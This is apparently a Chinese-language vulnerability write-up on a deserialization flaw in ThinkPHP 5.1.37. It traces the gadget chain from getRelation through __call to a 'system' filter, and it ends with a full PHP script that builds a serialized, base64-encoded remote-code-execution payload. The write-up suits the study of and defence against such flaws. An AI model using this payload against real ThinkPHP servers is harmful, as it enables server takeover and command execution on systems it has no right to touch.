thinkphp5.1.37反序列化漏洞分析

当$relation不存在的时候，就会进入到$relation->visible($name)，而$relation = $this->getRelation($key);     
getRelation()函数:

public function getRelation($name = null)
    {
        if (is_null($name)) {
            return $this->relation;
        } elseif (array_key_exists($name, $this->relation)) {
            return $this->relation[$name];
        }
        return;
    }

让$this->relation为空，则array_key_exists($name, $this->relation)条件不成立，返回空。
条件一成立，$relation为空。

  
进入到下面的if语句中：

  if (!$relation) {
        $relation = $this->getAttr($key);   //$relation可控，
        $relation->visible($name);
                   }

跟进getArrt()函数：
 $value    = $this->getData($name);
如果这个$value值可控，那么下方的$relation值就可控了。
  
要使这个条件成立，需要跟进getData()函数并且让getAttr() 函数486行下面的if 判断条件都不满足。也就是将那些变量都设置为空。

  
function getData(){
    elseif(array_key_exists($name,$this->data)) {
        return $this->data[$name];
}
  ```````
}

发现这里的$this->data可控，$name即为传入的$key，$key 也就是$this->append 的键名。
因此返回$this->data[$key]，$relation = $this->data[$key]，因此$relation可控。在这里将其设置为一个new 对象，调用对象中不存在的visible函数，但是存在__call函数的地方，触发__call函数。

        if (is_array($data)) {
            array_walk_recursive($data, [$this, 'filterValue'], $filter);
}
当参数$data为数组时，将$data的键值、键名以及$filter作为函数filterValue的参数传入调用。

最终的payload：

<?php
namespace think;
abstract class Model{
    protected $append = [];
    private $data = [];
    function __construct(){
        $this->append = ["ethan"=>["dir"]];
        $this->data = ["ethan"=>new Request()];
    }
}
class Request
{
    protected $hook = [];
    //protected $param = ['dir'];
    protected $filter = "system";
    protected $config = [
        // 表单请求类型伪装变量
        'var_method'       => '_method',
        // 表单ajax伪装变量
        'var_ajax'         => '_ajax',
        // 表单pjax伪装变量
        'var_pjax'         => '_pjax',
        // PATHINFO变量名 用于兼容模式
        'var_pathinfo'     => 's',
        // 兼容PATH_INFO获取
        'pathinfo_fetch'   => ['ORIG_PATH_INFO', 'REDIRECT_PATH_INFO', 'REDIRECT_URL'],
        // 默认全局过滤方法 用逗号分隔多个
        'default_filter'   => '',
        // 域名根，如thinkphp.cn
        'url_domain_root'  => '',
        // HTTPS代理标识
        'https_agent_name' => '',
        // IP代理获取标识
        'http_agent_ip'    => 'HTTP_X_REAL_IP',
        // URL伪静态后缀
        'url_html_suffix'  => 'html',
    ];
    function __construct(){
        $this->filter = "system";
        $this->config = ["var_ajax"=>''];  //不能赋值，在传入method方法和server方法判断时，会返回false，满足input中对$name为字符串的类型判断。
        $this->hook = ["visible"=>[$this,"isAjax"]];   //调用该类中不存在的visible方法，触发__call函数，调用本类中的isAjax函数，传入参数filer
       // $this->param = ['dir'];

    }
}
namespace think\process\pipes;

use think\model\concern\Conversion;
use think\model\Pivot;   //因为Model是一个抽象类，不能直接实例化对象，因此调用其子类Pivot
class Windows
{
    private $files = [];

    public function __construct()
    {
        $this->files=[new Pivot()];
    }
}
namespace think\model;

use think\Model;

class Pivot extends Model
{
}
use think\process\pipes\Windows;
echo base64_encode(serialize(new Windows()));
?>